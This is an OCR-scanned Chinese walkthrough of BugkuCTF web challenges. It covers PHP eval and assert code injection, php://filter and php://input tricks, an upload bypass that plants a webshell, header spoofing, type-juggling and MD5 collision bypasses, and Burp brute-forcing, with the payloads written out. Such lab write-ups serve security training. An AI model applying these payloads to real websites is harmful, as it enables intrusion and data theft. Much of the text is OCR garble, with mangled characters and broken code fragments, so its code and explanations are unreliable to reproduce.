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<input class="input” maxlength="1" type="text">
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<« ¢ @ (D 123.206.87.240:8002/get/
& 2nE Byassss OFFrE SsER © mraE

Swhat=% GET['what'];
echo $what;
if($what=="flag")
echo 'flag{****}’;

PHPiE#), GET A LA&(ER, EAE R ?what=flag, #+%lflag

&« C @ 20687,
& BewE OyalEsss QFFry Osfnn O swEs

$what=% GET['what"];

echo $what;

if($what=="flag")

echo 'flag{****}’;
fladflag{buagku get su8kej2en}

web3tfit$ POST

<« g (D 123.206.87.240:8002/post/
4 2snE Byadesus OFFrE DR © w5y

fwhat=$_POST['what'];
echo $what;
if($what=="flag")

echo 'flag{****};

X Elpostditis, FirefoxZ3s—~hackbarf@ifth, F12F1F, fAWF, EJn[15F|flag

> DOEEE OEfls DERE ((ERssE g 4/RF = ME B FE @ HackBar

Encryption ~ Encoding ~ Other =

i Load URL hitp://123.206.87.240:8002/post/
1 spiit URL
= t
y) Rxecdle Post data | ] Referrer (] User Agent [] Cookies
Post Data what-Tiag
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$num=% GET['"num'];

if(fis_numeric($num)) -eg——o:
{

echo $num;
if(3num==1)
E‘ChO '-ﬂag{*****t****}':

}

PHP 5 %

bool is_numeric ( mixed $var )

R 15 B B AT

i Rvarg B 7 BUE B A5 R [Eltrue, 75 00)3R [Hifalse

Wi H A R w - o v =
BHIOEER A S 1, RiE !
$GETHAMEZ, Al LLAnum=1x(xr] LUAAE R F4F), RIA13%flag

(€)= & & @ 123.206.87.240:8002/get/index1.php?num=1x
o EwnA Boaesss @FFts Semmn © sxew

$num=$_GET['num’];
if(lis_numeric($num))
{

echo $num;
if($num==1)

echo 'ﬂag{**********}';

}
1xflag{bugku-789-ps-ssdf} Sl

Web3

flagatiEes

EREVS, KI— BHTML 4

alert U 2RFRI[UL") ;
alert (”flagﬁtﬁﬁiﬂ) ;
alert ("HEH L")
alert ("flagfiffEiXE") ;
alert ("FEHILIE")
alert (”flagﬁtﬁﬁiﬂ) ;
alapt ("SEFEFEDO ) .

EETO ERED; &H09  &H123 &8T4 ;8500 &5110; &80T [ &502 ; &400; &80T (&8 104; &%T4 &8T5 &340 ;&4 72 &583 &840, 8549 &#73  &8T3 8873, &8125 ;. —

L
</head>
</html>

HoAEA, ARSI



key=s.split(";")

lag

or i in key:
flag+=chr(int(i[2:]))

print flag

= lflag
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ImisdE flag.bugku.com BEHTE]123.206.87.240 FiaE=Efag
bugkuls Sk (1P A T TH 1)

ng flag. bugku. com

Ping flag. bugku. com
s

AP TEIE VT

(0 123.206.87.240 v B e 4+l
sits @ FFELE SRR O snrEsE

400 Bad Request

1 ITC:/windows/system32/drivers/etc H 3 T [lhosts 3.4

1 « Windows » System32 » drivers » etc v O EE elc
— L] f_gf;—\ -
| | hosts
| | Imhosts

e | Imhosts.sam



(E5 5 — 17N 1-123.206.87.240 flag.bugku.com, {3774 E

# 127.0.0.1 localhost

# HEN localhost
127.0.0.1 localhost
123.206.Sﬂ.240 flag.bugku.com

vy lalflag.bugku.com, 75 %flag,

&« C @ ‘ (@ flag.bugku.com
o E2snE Eaalesss @FFrE BsEmt © =rrE
KEY{DSAHDSIE2HDS2211}

RS A F
H#Hburpsuitedll s, A5k, wiiks) 7

<body>

<centerr<strong>T want teo play Dummy game with
othersfiBut I can't stop!</strong:</center>

<center>5top at panda ! u will get flag</center:
<centerr<diver<img src="L10.3pg"/></divs</center><br><a
style="display:nnne1Dflag{dunmg_gamg_ls_sﬂ_pnpular}F/a>{
Jhodys>
</html>

A 5

<{?php
include “flag. php”;
$a = @S$_REQUEST[ hello ];
eval( “var_dump($a);”);
show_source(_ FILE ) :

>

REQUESTEAE M F & T g, _POSTHI$_COOKIE ffi%i4l.

RO H 52 2 Fiflag.php B A 25
THEARZ

?hello=file('flag.php')

?hello=1);show_source('flag.php');//

?hello=1);show_source('flag.php');var_dump(


http://flag.bugku.com
http://xn--flag-fy8fw86k9yzc59q.bugku.com

#omr LLI)1S 2flag

&« & @ | () 123.206.87.240:8003/?hello=);show_source('flag.php");//
& 2anE OyasEses QFFry DsRrn O srmsE
<?php

$flaz = 'Too Young Too Simple ;

?» <?php
include “flag.php”:
$a = @S REQUEST[ hello ]:

eval( “var_dump(8a);”):
show_source{_FILE )

ﬁ

il

flag In the variable ! <?php

error_reporting(0) :
include “flagl.php”;
highlight_file(_ file_);
if(isset(§_GET[ args' 1)) {
$args = $_GET[ args’ 1;
if(!preg match(”/ \w+8/", Sargs)) {
die("args error!”):

eval ("var_dump ($8arss) ;7);

25

KAGS, ‘ , GLOBALSHITT,
?args=cf|]_45‘§ﬁs,ﬁ%@@%pwemmw)
payload:

http://123.206.87.240:8004/index1.php?args=GLOBALS

Web3

HEPEI, KIMIJSFUCK

<html>
<{body>
<div style:”display:none;”>|[] LOO+M I OO AN 0+ O+ O D+ O+ 01+ O+ 1+ C 0D DO+ 0+ 01+ 0 0+ 0D [—!—[]]]—[]I
<form action="index. php” mefhod- post

JSPFUCK?2229 985 45 7 CTF [owrasciot] Cbr>

<br>

<{input type="input” name="flag” id="flag” />

<{input type="submit” name="submit” value="Submit” />

</form>

</body>

</html>
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[+t DT D) [+ +[ 1+ 01T 1+CLIL0D 1+ D 1) [+ + D11+ +[ D0 [ E
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[ [+1+D11T [+ 1+ 01+ T+ 0111+ LT+ D) [+ 1+ [ 110 [+ 1+ [ 1+ 4
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[11+ 0 DI+ D[ 1+ I+ DT+ 10+ O LI+ D) [+E+[ 111D [+ +
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"Ctf{uhatfk}"
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fai ¥, burpsuitedMELEI A,

HLILF/ L.l 20U WK
Server: nginx

Date: Mon, 10 Dec 2018 14:45:5Z2 GMT
Content-Type: text/html

Connection: keep-alive

Feep-Alive: timsout=£0

flag{Bugku k8_23s_istrall:
Content-Length: 139

<html>

<meta http-squiv="Content-Typs" content="text/html;

charset=UTF-8" />

“prer<brr<brr<brx<br000000<br><br>
</html>

S

B SRS, T TS &

fat43 |http CAA123. 206, 87, 240 8002 fwebshells | FatiE 18 33
S 10 o0& cruED ¢ 5RIE) DIE: 1153 ASFY: Flzon
- o ASP: 1854 PHP: 1066 [ =m0
8 (R BRI EEER) ] MmE: 419 T5P: 631 [ =mi
HEER: HEEA. e 0 FHEER: 030
I it HT TRl
1 http: /123 206 87, 240: 8002w ebshell findex. php 200
bl http: /123 206 87, 240: 8002w ebshellshell. php 200




T IFindex.phpE JE kM T, 1) shell.php, HiElwebshell, %2574

42 Fburpsuite & 1115 fi#,
SedmgL, 4R JEsend to intruder

Fowad || e | [ ierception | | acten |
HWTHMTH“] Send to Spider

03T /webshell/shell.php HTTR/L1.1

Do an active scan
ost: 1I23.20&.87.240:8002 e - -
ser-Agent: Mozilla/5.0 (Windows NT | d to Infruder SR = 1o/ 2010010
ceept: text/html,application/xhtml+ Semfitoc Repeater Cir+R [ *;=0.8
coept-Language: zh-CHN, zh;q=0.8, =h-TI to Sequencer 0.3,en;q=0.2
ceept-Encoding: gzip, deflate

nd to Col

eferer: hrtp://123.206.687.240:8002/7 WELL BT
ontent-Type: application/x-www—form- Send to Decoder
ontent-Length: 11 Request in browser >
onnection: keep-alive Engagement tools >
pgrade-Insscurs-Requests: |1

Change request method
ass=12345¢ Change body encoding

Copy URL

Copy as curl command

Fiitipositions, Jeiiliclear, %, 4% JEHEHETS123456, Miadd, WM

‘Configure the pesitions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper

POST /webshell/shell.php HTTP/L.1

Host: 123.206&.87.240:8002

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x£4; rv:£2.0) Gecko/20Ll00101 Firefox/E2.0
Accept: text/htmwl, application/xhtml+xml, application/xml;q=0.9, %/ *:q=0.8
Accept-Language: zh-CH, zh:;g=0.8, zh-TW;=0.7, zh-HE; q=0.5, en-U3;=0.3,en; gq=0.2
Aocept-Encoding: gzip, deflate

Referer: http://123.20£6.87.240:8002/webshell/shell.php

Content-Type: application/x-www—form-urlencoded

Content-Length: 11

Connection: keep-alive

Tpograde-Inssecure-ERegquests: L

pass-§IZI45ES

h
-

Hlel



rMifipayload, #ATWIRZES, HABERIA

Target | Positions | Payloads T Options ]

Payload zat: [ 1 | vJ Payload count: 3 424

Payload type: [Simple list |'J Request count: 3 424

L’)J Payload Options [Simple list]

This payload type lets vou configure a simple list of strings that are used as payloads.

% i
Add from fist ... A

[ Paste J

Fuzzing - quick
Fuzzing - full »
Usernames
Passwords
Short words v

a-z

AZ v

( Add from st ...

SR J5 sl start attack

L B L e T L SRR R

Burp Repeater Window Help

Sequence

Open saved attack
! Actively scan defined insertion points

Send to Repeater

Save attack config >

Load attack config Payload count: 3 42

Copy attack config »

—aZJE, BRER, REMEREAR, lengthK#A1125, WA —M110, FH, XA FZEN, 2lEx,

1938 guido 200 @] ] 1125
1937 guinness 200 a a 1125
1938 guitar 200 @] ] 1125
1939 gumption 200 @] ] 1125
1940 gunner 200 a a 1125
1941 guntis 200 @] ] 1125
1942 hZopolo 200 @] ] 1125
1943 hsBE 200 @] ] 1125
1944 | nhack 200 O )] 110
1945 hacker 200 0] ] 1125
1948 hal 200 @] ] 1125
1947 halgnon 200 @] ] 1125 ..
1948 halt 200 @] ] 1125
Aroan [T Y e i i A AT
4x[h] i flag



EEEAR, KBl—BKbase64

v OE=s OEsls OEds (18RS G RFE =

+ EE HTM
<html > |event

<head > (=)< /head>
<body >
<h1>EBIERFFH</hl>
<form method="POST" autocomplete="off" > <{/form>
< /body>
<fhtmls

€1 --daVzdDEyMw==-->

BEEINEREENRESHRL T X
test123

&S, H 4 Nadmin, i ftest123

Username: | |

Password: | |

Submit Reset

IPEE|HAE, BEHEAMEERTNE, IPEHCRE

IPEEIE VT, R AR A B 57 o
BN, DBRERUALIP, {Eheaders?s i —Mh%e SR

Raw | Params | Headers T Hex ]

Mame | Value ?
POST THTTRIM A

Host 123.206.31.85:1003 Remove
Uzer-Agent Mozila/5.0 (Windows NT 10.0; WinG4; x64; rv:62.0) Ge... -
Accept text/html application/xhtml+xml application/=ml;g=0.9 **;_ . Up
Accept-Language zh-CN,zh;q=0.8 zh-TW,g=0.7 zh-HK;g=0 5,en-U5;q=0.3... —_—
Accept-Encoding gzip, deflate o
Referer http:iM123.206.31. 851003

Content-Type applicationix-www-foerm-urlencoded

Content-Length 23

Connection keep-alive

Upgrade-Ilnsecure-Reguesis 1

[X-Forwarded-for 127.0041 |

L

Tesr=adminrmasostaot 102 I



R wT 45 £flag

<prrassword: <1NpUCt TYPE="PASSWOLd” nDame="pass"
id="pass"></p>

<P

<input type="submit" value="Submit"/ >
<input type="rezet" wvalus="Rezet"/>
</p=

</ form:

<font style="color:#FFO000">»<h3»>The flag is:
85ff2eed4171396724bae20c0bd851f6b</hi><br  ></font' >
</hody>

</ htmls>

Web4

BEVERG, KIHHURIZRED, LG, KIN

function checkSubmit(){var a=document.getElementByld("password");if("undefined"!=typeof a){if
("Rl Rl B el (Y E VRN ESE| " = =a.value)return!0;alert("Error™);a.focus();return! 1}}Jdocument.getElementByld

("levelQuest").onsubmit=checkSubmit;54aa2

HIELHRAZ, 153%flag
BRIRRE?

Submit
KEY{J221K-HS11}

flag?t index .

payload:

http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

url A fileZ %, siAEE] T php B Kfile i, Fibase64%%i54Tindex.php HLIH i Y 1L ik, FA#D, 153flag



T Frflag
BRNBRECT, SRR, bp— T I3 Slflag

‘ Fitter: Showing all tems

Request Payload Status | Error | Timeout | Length 1| Comment

3580 13579 200 a a 248

0 200 a a 1327 baseline request
1 10000 200 o O 1327

2 10001 200 m [ 1327

HNEEEE [eeeee |3
BERASUSEEEE, RNEEURER.

i —HJTIX
A U

var clicks=0
$(function() |
$ ("#cookie”)
. mousedown (function() |
$(this). width( 350px’ ). height (’ 350px’ ) ;
13
. mouseup (function() {
$(this).width( 375px’ ). height " 375px" ) ;
clicks++;
§("#clickcount”). text (clicks) ;
|if(clicks >= 1000000) {|

var form = §{ <form action=""|method="post”>"| +
’{input type="text | name= clicks value=" + clicks + " hidden/>’ —I
T form ) ;
$( body’ ). append (form) ;

form. submit () ;

1) -




post—~clicks=1000000E[1 7]

flag{Not_C00kI3Cl1ck3r}

A
EEVES, KILAH upload.php

W EFREWNE L XWESWMTR NGETFLOE L FAMIL R EElL L

!— upload. php —>

<head>
{meta charset="utf-8",/>
{meta http—equiv="Y-UA—Compatible” content|
<{meta name= viewport® content="width=devics
<title>SKE CTF<{/title>
¢{link rel="stvlesheet” tvpe="text/css” href

VIEE, BT A R
W OREAR RN ARSI NG TR ) el e M e e

file:| Sulss... | FREEiE.
upload

B Lf%ipg gif png f8UAYSM ST A/IVT-EEBIT 100KiB

it — A,

<script language=php>system("Is")</script>

O 1 .phpsjpg, SR JE Ak

file: .. ik,
upload

5 tZjpg gif png FEEAISCE ST/ TEEEBIT 100KIB
file upload successful'Save in: upload/201812120809272713.jpg
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KA Y HEBEELY T UUNID

upload/201812120809272713.jpg

T UAEEA B Sk

& c @ @ 123.206.31.85:49166/index.php?file=upload/201812120809272713.jpg
& 2eniE Exmeses Ot SsERe He=212
about hello.php index.phplthis_is_tha_ﬂ4g_‘l 54f65sd4g35f4d6f43.1xt ipload upload.php

i ithis_is_th3_F14g_154165sd4g35f4d6f43.txt, EI T4 Flflag

&« G @ (D 123.206.31.85:49166/index.php?file=this is th3 F1d4g 154f65sd4g35f4d6f43.tut
& gapE Budiemes O Fsts DsEmEr e
SKCTF{uP104D_1nclud3_426fh8 _is_Fun}

# il

<?php
highlight_file(’ flag. php’ ) ;
$ GET['id'] = urldecode($_GET[ id 1);

$flag = ' flag{xxxxxxxxxxxxxxxxxx}’ ;
if (isset($_GET[ uname’]) and isset($_POST[ passwd 1)) {
if ($ GET[ uname’'] == § POST[ passwd ])

. H] H
print passwd can not be uname. ;

else if |(shal($ GET[ uname’']) === shal(§ POST[ passwd ])&($ GET[’ id’ ]== margin’)

die(’ Flag: '.§flag);
else

. E] E]
print sorry!

GET#Htuname, id
POST3kH passwd

=== HCRPEAVE R RRIAA ==, LORl, LBk
% ffunameffjsha FI {1 5passwdfisha T HIEARSERI T, {ELR I 15018 S R %
AR R



fi&, BIAr{33flag

s Lead URL http://123.206.87 240:8002/web7/?uname[]=a&id=margin
§ spiitURL
Execut
Y Becdte Post data [] Referrer ] User Agent [] Cookies
Yost Data passwd[]=1
>k getshell

KIS B AR,
TR T S ME8 4, S TIRZHMAT

UFANE S BN, B VONPRSSD 1, 1% 7 Mwp, RUE R T

Tl HRAR WD SABBE YA Wl Wil elprlo TN

My name is margin,give me a image file not a php

WS, | FEEE Submit

You got ith)

Fbp¥tL ), 285 B k5 B Content-Type,

POST fwebh3/index.php HTTP/L1.1 L
Host: 123.206.87.240:2002

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; =&€4;
rv:62.0) Gecko/20100101 Firefox/62.0

Accept:

text/html, application/xhtml+xml, application/®xml;q=0.9, %/ ¥ ;=
0.8

Aoecept-Languages:

zh—-CM, zh;=0.8, zh-TW;gq=0.7, eh-HE; =0.5,en-U3;¢=0.3,en:;qg=0.2
Aecept-Encoding: gzip, deflate

Beferer: http://123.206.87.240:800Z/weh3/

Content—Type:'multipart form-data;

———————————————————————— 41184676334

Content-Length: 1581558

Connection:

keep-alive

Upgrade-Insecure-Requests: 1

————————————————— 41184676334

Content-Disposition: form-data; nams="file'";

filename="1.

png"”

Content-Type: images/png

W& g Content-type J5 = BE KN AT LG Al
7394 5 2% 4 A8 2 php2, php3, php4, php5, phps, pht, phtm, phtml (phpf5144) , K3 A 45 php5ik A 1kl j&
SRIGAE OO )5 48 44 8 .php5



HAUUE L= Lol iy s ;

zh—-CM, zh;=0.8, zh-TW;gq=0.7, eh-HE; =0.5,en-U3; ¢=0.3,en:;qg=0.2

Aecept-Encoding: gzip, deflate

Beferer: http://123.206.87.240:800Z/weh3/
Content—Typel Multipart/form-data;
boundary=---—-——--------"-———————————— 411584678334
Content-Length: 1581558

Connection: keep-alive
Upgrade-Insecure-Requests: 1

————————————————————————————— 41184676334
Content-Dj ition: form-data; nams="file'":
filename=f1l.php5"

Content-Type: lmades/png

<html:>

<body>

<form action="index.php" method="post"
enctype="multipart/ form-data">

My name is margin,give me a image file not a php<br:>
<hbr>

<input type="file" name="file" id="file" /=

<input type="submit" name="submit" valus="Submit" />
</ form>

KEY { bha5delaasiie]

FE ¥ 53 24 A 3

FOR A )

HEEbpIIEL, Dy liARR S 5%, 1ELEA I X-forwarded-for:127.0.0.1

Request Response
Raw | Params | Headers T Hex ] J Raw T Headers T Hex ]
Name |VaMe _— HTTE/1l.1 Z00 OE
Add Server: nginx
GET Nocalhost! HTTPM 1 Date: Mon, 17 Dec 2018 07:4
Host 123.206.87 240:8002 Remove Content-Type: text/html; ch
User-Agent Mozilla/s.0 (Windows NT 10.0; Win64; x64; v62.0)Ge.. | Connection: keep-alive
_— _— Feep-Alive: timeocut=£0
A text/himi lication/xhtml | lication/=xml;g=0.9 **; .. Up
ooty | L0 )
ccept-Language zh-CM,zh;q=0.8,zh-TW,g=0.7,zh-HK;q=0.5 en-US;q=03... | ——————
) . Down
Accept-Encoding gzip, deflate flag{loc-al-h-o-st1}
Cookie phpiyAdmin=wVAVEXIZ%2CXsKmIEFtOXoTJO1 f8
Connection keep-alive /

Upgrade-Inzecure-Requests 1
¥-Forwarded-for 127.001 |

FEMUBE RE PRI T R, AREER RN, I RAFERIbug

B |

faiae |http:ﬁ123.206.8?.240;8002i | TH&HE
32 [1p (3 CPIHED * BEE) DIE: 1153 ASFX: 822 FEM|z00
- e ASP: 1354 FHP: 1066 O &0z |
2 pE CRr T EEER) MOE: 419 J5F: 631 |:| b2 llchig :
HEEE: HESM. | AR 0 FERE R - Uﬁfﬁf
i it HTTENGRE
1 http: /123 206, 87, 2403002 test/ 200 i
2 http: /123, 206 87. 2408002 /phomradnin 200
3 http: /123 206, 37, 240: 3002/ index. html 200
4 http: /123, 206, 87, 2408002 /phpmyradmin/db_creats. php 200




(© & 123.206.87.240:8003/phpmyadmin/ | 2
B B smmnt

php
#iP{FA phpMyAdmin 2. 7.0-pll

Language: IEI‘.ir.ese simplified (zh-gb2312) w thiT

A
{Cookies HAMBRAAREM =)
MBI Itest
F8: |

® 123.206.87.240:8002/test/_|
Eris O =Amu

WRIBREIXSSHEER

GCHALLENGE ACGEPTED

i,

>

REE R FIRIREIXSS Z hxIE !

):8002/test/levell.php?name=test

Yk Zlevell
IRDFFtest




ITS

206.87 240:8002/test/level2.php?keyword =test
FRFE

iR level2
REEIIFtestiBXEE.

test

KEEP
CALM

AND

TRY
HARDER

cookielk B

123.206.87.240:8002/web11/ind. X

@ 123.206.87.240:8002/web11/index.php?line=&filename=h2V5cy50eHQ
EtE B =Rt
398whrefeociahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoai

URL [ Btbase64, fif# 515 B2 "keys.tt"

@ 123.206.87.240:8002/web11/index.php[line=§filename=a2V5cy50eHQ=
e O =mAmut

J8whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrirgrggggggoaihegfdiofi48ty59:

ZHflline /£ 1%47 IR [MI{E &
Mkeys.txti] LLE i, "filename=")5 [l BL# I & S 4 I base64 4wt

5 illindex.php & S 477E, index php# Hibase64: aW5kZXgucGhw
HAurl,
payload: http://123.206.87.240:8002/web11/index.php?line=&filename=aW5kZXgucGhw


http://123.206.87.240:8002/web11/index.php?line=&filename=aW5kZXgucGhw

HEIEN, HEER

G http://123.206.87.240:8002/web11/index.php?line=&filename=aW5skZXgucGhw
rEsnE Eyalesss OFFLE OsEm

{?php

iBlineti Akline=31tK, HEE

<« C @ (@ 123.206.87.240:8002/web11/index.php?line=3&filename=aW5kZXgucGhw
o e2gnn Bamesus O#HFl B SEm
$line=isset($ GET['line)?intval($_GET['line"):0;

H—AMEA, 3K1Findex.phpH 1)4E &

import requests

re=requests.Session()

url

for i in range(0,20):
key={ :str(i),
a=re.get(url,params=key).content
code=str(a,encoding )
print(code)

2 Fllindex.php Y55

($file=="")
header("location:index.php?line=&filename=a2V5cy58eH)=");

$file list = array('0"' =>"ke ext', 1" ‘index.php’,);

(isset($_COOKIE[ *margin’]) $_COOKIE[ "margin’]=="margin')
I
L
$file list[2]="keys.php';
L
J
(in_array($file, $file list))

p

$fa = file($file);
echo $fa[$line];

ATAEF], cookieff) 44 F-HIfE #L 2" "margin”

t($_COOKIE[ ' n' 1) % COOKIE[ 'm




&% cookie: margin=margin ,f&filename ()& Jvkeys.phpftibase64%ifid, ijlnkeys.php(FHkr14t, B Akeys.phpffibase64%i
i)

— L 1 1 1 — L 1 1

GET /webll/index.php?line=&filename=alVscySwaHi= HTTF/ L.l " HTTF/1l.l Z00 OK

Host: 123.206.87.240:2002 - Server: nginx

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wiwe4: =&€4; Date: Mon, 17 Dec ZO1E 0B8:27:19 GUT
rv:62.0) Gecko/20100101 Firefox/62.0 Content-Type: text/html
Accept: 1 Connection: keep-alive
text/html, application/xhtml+xml, application/xml;cq=0.9, %/ ¥ ;= Feep-Alive: timecut=£0

0.8 Content-Length: 30
Aoecept-Languages:

zh—-CM, zh;=0.8, zh-TW;gq=0.7, eh-HE; =0.5,en-U3; ¢=0.3,en:;qg=0.2 php Skey='KEY{key_keys}': =
Aecept-Encoding: gzip, deflate

Cookiq: margin=marqin |

Connection: kesp-alive

BEVNT, Epost—margin

KAIEDI, HEEER Firefox

BugkuCTF - &35

123.206.87.240:8002 /webb/

G (i) view-source:http://123.206.87.240:8002/webb/
rEsnE Eyalesss OFFLE OsEm
<Sor IR S 11 </ — OF , now you have to post the marsin what you find —>
bpdit,

J Raw I Headers | Hex |

HTTE/1l.1 Z00 OE

Server: nginx

Date: Mon, 17 Dec 2018 08:39:01 GHT

Content-Type: text/html;charset=utf-8

Connection: keep-alive

Ao Feep-Alive: timeocut=&0

Expires: Thu, 19 Wowv 18981 08:52:00 GHMT
Cache-Control: no-store, no-cache, must-revalidate,

e

=0.2 post-check=0, pre-check=0
Pragma: no-cache
p=Ts

ELeRSSOEEL+YSLiNEZSZ77vMSTu 5L gZmxhEZ+WQpzogTnpRMUSUTO=|
TCONCENC-Lengeny o9

</br=0000000!' 'Y</ -- O0F ,now yvou have to post the marcin
what you find -->»

Baseb64fitiy 2 Ji, X —/-base64, FIffhs

ERENIEREERNREEHIRILL X

&-ceéd  Givagray] flagdf:| NzQ1NjQ=

BN, B2 R

EEENESEENAEEFEIL XS
74564




bp XA T —k, KBiflagh iR 1, AT TS, i

Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-chesck=0

Pragma: no-cache

flag:
ELeRSSqEEL+YSLANEZSZ7TyMSTuZSLI gZmxhZ+WOp z2ogTORRMK 1ETTO=
content-Length: BY

AT RERwp, ERBAHER, %2

import requests
import base64

url
r=requests.session()

headers=r.get(url).headers

mid=base64.b64decode(headers| )}

mid=mid.decode()

lag = base64.b64decode(mid.split(*:")[1])
data={ flag}

print (r.post(url,data).text)

#Flflag

lanauaaes
KEY{111ldde2f
[Finished in 8.7

A —A) i
L H 4 R

<?php
$poc

$poc_1=explode("#",$poc);

$poc_2=%poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc 2($ GET['s'])
7>

explode () e % T AE B 7 SCRY B VELIME 2, B 30 7 755 B 3T Blosesie 4 .
exipde()7r #lattsttsttettritt yassert, 11 fassert()ef & ML E R s H, AR B o] LASATARAD o

payload:

s=print_r(scandir(’./’)) 4} 5L Hfl4g.txt
s=print_r(glob("*.*")) & j5 :zHshow_source(“fl4g.txt”)**
fii Fifile_get contents(“flag.txt” )iz B S 44

BEHSC A8 T LA F readfile()Fifopen(), i LAT & 52 BUSC 4



s=print_r(readfile(
s=print_r(fopen(

md>5 collision

B H 5o AMDSfLEE, IR 1L a=12 281, #ika2false, 5N %2 24 AN HXME, MDS5ZJ5 2 LL0e T k4 i,
K2y, PHPLEALEEIG A FAF R I, A ===k M A AT UL, E38R > LLOe T Sk 1M 7 {E AR A RE 90

payload: ?a=s155964671a
never give up

TR, BRI, K —D1html, EFWE,

LANGUAGE="

function OutWord()

i

var NewWords;

NewWords = unescape(Words);
document.write(NewWords);

}
OutWord();

T LLE B E — K Btbaseb4 & (1 H, JRiXurl, baseb4fif 2 5, &—Burlgwhd, F—ibikia),

%22%3Bif%28%21%24_GET %5B%27id%27 %5D %29 %0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27 %29%3B
%0A%09exit%28 %29 %3B%0A%7D%0A%24id%3D%24_GET %5B%27id%27 %5D%3B%0A%24a%3D%24_GET %5B%272a%27 %5D%3B%0A%
24b%3D%24_GET %5B%27b %27 %5D%3B%0Aif%28stripos %28 %24a%2C %27 .%27 %29%29%0A%7B%0A%09ech0%20%27n0%20n0%20no
%20Nn0%20n0%20Nn0%20n0%27 %3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D %20 @file_get_contents%28%24a%2C%27r%27
%29%3B %0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice %20plateform%21%22%20and %20 %24id%3D%3D0%20and%20strlen%
28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28 %24b%2C0%2C1%29%2C%221114%22%29%20and %20substr%28 %24b%
2C0%2C1%29%21%3D4%29%0A%7B%0A%09require %28%22f412a39.txt%22%29%3B%0A%7 D %0Aelse %0A%7B%0A%09print%20%22neve
r%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F %3E




PRS2 ), 152

if('$_GETJ'id"])
i
header(
exit();

t
$id=$ GET['id"];
$a=$ GET[a'];
$b=$ GET['b';
if(stripos($a,'’."))
i
echo

return ;

t
Sdata = @file_get contents($a,'r'");
if($data and $id==0 and strlen($b)>5 and eregi( .substr($b,0,1), ) and substr($b,0,1)!=4)

{

require(

if(stripos($a,’.’))
if($data=="bugku is a nice plateform!” and

id= hY>5 and ereci(“1117 subhstr(Z 0 1) 911149\ o danihotad h.0.1)1=4)
TRaFhANEH 74, idAREREZS, Hid=0, data="bugkuis a nice plateform!”, id=0, bfJKJE>5, "111"HH EbIEE —AN 7155
=114, ERbIUS N FRAARE=4, XFEA4 7] LI £f412a3g.txd
BAT— FURR AT,

PHPTEAN B K 7 5 75 8 (A5 AR AU — DU I OB S 1R, thin" 1asd "=1, A TATR EAGIdIIME, & —D7riFeh,
Hnl LMEId 5545 10,

VIS AR $data A& HH file_get contents() EHHY , file_get contents() B T SCAF N BRI AN B —ADNF R R R v, B
FousUr e sa MENA, Frbh $a MHMEL I EE

BAIA R —ANasefth, 15 AEdlEbugku is a nice plateform!.

W4, #ika=bugkuis a nice plateform!, R &R, FHphpfytiil php:/ S el i N4 AR, 8 R Rt 2 Bt 2 7T LU EL
FeAlTpostiiss (1 R Bdiii. bk, 4 $a="php:/linput', Ffpostitsi 747 bugku is a nice plateform! .

i % T-eregi(“111”.substr($b,0,1),1114”), {RfE 8, E#H%005%5d, 1 LL{#b=%0012345


http://php.net/manual/zh/wrappers.php.php

. L L L L . "
GET festhello phpPid=asd&b="%00123458a=php: /input HTTPH .1 " HTTPH .1 200 0K
Host: 123.206.587.240:8008 r Server: nginx
User-Agent: Mozilla/s.0 (Windows MT 10.0; Wing4, x64; rv:62.0) Gecko/20100101 Firefox/&2.0 Date: Sat, 13 Apr 2019 115614 GM
Accept: text/tml application/xhtml+xml application/xml;g=0.9 ** g=0.8 Content-Type: texthtml
Accept-Language: zh-CM zh;g=0.8 zh-TWW,g=0.7 zh-HK;g=0.5 en-US;g=0.3 en,g=0.2 Connection: close
Accept-Encaoding. gzip, deflate Content-Length: 40

E Connection: close
Upgrade-Insecure-Reguests: 1 ==1p htmi—=

|| Cache-Cortrol: max-age=0 flag{tHis_iS_THe_fLaG}
Content-Length; 26

i bughu Is a nice plateform!

Mg Eiflag. H —ANEE, HEERNT412a3g.txt

if($data==

strlen($b)>

substr($b, 8,

WAy LLf Elflag.
welcome to bugkuctf
BH R

Suser =$ GET][

Sfile = $_GET]

Spass = $ GET[

if(isset($user)&&(file_get contents($user,'r')

echo
include($file);

HAhintphp, U5REGR, AHAEKE, AFEL, i 2file=php://filter/read=convert.base64-encode/resource=hint.php i£—F, T4 #}
i&ﬁ" ’ ’ ’ b b

i AR A IE

file_get_contents($user,'r')==="welcome to the bugkuctf" , = EL&H 4 NySusersCf: 1Py &4 B — N7/ 8, HFHERZANFR/FH
/& "welcome to the bugkuctf”,

X BAf LLE F php: /Py i, iluser=php://, 4R )5 postiiZwelcome to the bugkuctf, X #f5ka] U8 A48
Ji file_get contents(php://,'r')

payload : GET: ?txt=php://input POST: welcome to the bugkuctf



GET test1 Mxt=php: finput HTTRPA A1

Host: 123.206.87 .240:8006

User-Agent: Mozillais .0 (Nindows MT 10.0; WinGd; x64; rv:62.0)
Gecko/20100101 Firefox/62.0

Accept: texthtml application/xhtml+xml applicationfzml;g=0.9 **qg=08
4 Accept-Language:

zh-CH zh; =08 zh-TW q=0.7 zh-HK; g=0.5 en-US;g=0 3 en;g=0 2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Reguests: 1

Cache-Control: max-age=0

Corntent-Length: 23

e

welcome to the bugkuctf

WIHAR T, H2& N4 Zhello adminlg ?

mH, flagfEiEe. « o o o o o

2k

HTTPH .1 200 OK

Server: nginx

Date: Sat, 13 Apr 2019 12:26:17 GMT
Content-Type: texthitml

Connection: close

Content-Length: 322

e

| hello friendt<br= |

Juser=3%_G
Ffile =%
Fpass =%

SET password"]:

iffissetfiuser)&&(file_get contents{user,'r,
bugkactf) Y .

